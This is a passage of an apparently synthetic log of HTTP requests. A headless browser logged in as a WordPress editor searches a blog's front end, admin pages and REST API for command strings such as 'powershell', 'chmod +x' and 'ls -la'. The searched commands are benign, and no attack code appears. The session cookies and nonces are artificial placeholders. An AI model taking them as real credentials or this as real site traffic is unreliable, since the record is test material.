text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""} +{"method": "GET", "target": "/?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207368"], "body": ""} +{"method": "GET", "target": "/index.php?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207368"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=powershell&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207373"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=powershell&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207375"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?s=powershell&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207375"], "body": ""} +{"method": "GET", "target": "/?s=sudo+apt+install+nginx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207378"], "body": ""} +{"method": "GET", "target": "/index.php?s=sudo+apt+install+nginx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207378"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=sudo+apt+install+nginx&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207383"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=sudo+apt+install+nginx&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207384"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?s=sudo+apt+install+nginx&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207385"], "body": ""} +{"method": "GET", "target": "/?s=chmod+%2Bx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207386"], "body": ""} +{"method": "GET", "target": "/index.php?s=chmod+%2Bx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207386"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=chmod+%2Bx&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207390"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=chmod+%2Bx&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207391"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?s=chmod+%2Bx&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207391"], "body": ""} +{"method": "GET", "target": "/?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207394"], "body": ""} +{"method": "GET", "target": "/index.php?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207394"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=ls+-la&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207397"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=ls+-la&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207398"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?s=ls+-la&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207399"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/search?search=python3&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?search=python3&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/search?search=powershell&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?search=powershell&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/search?search=sudo%20apt%20install%20nginx&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?search=sudo%20apt%20install%20nginx&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/search?search=chmod%20%2Bx&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?search=chmod%20%2Bx&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/search?search=ls%20-la&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?search=ls%20-la&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-login.php?loggedout=true&wp_lang=en_US", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: 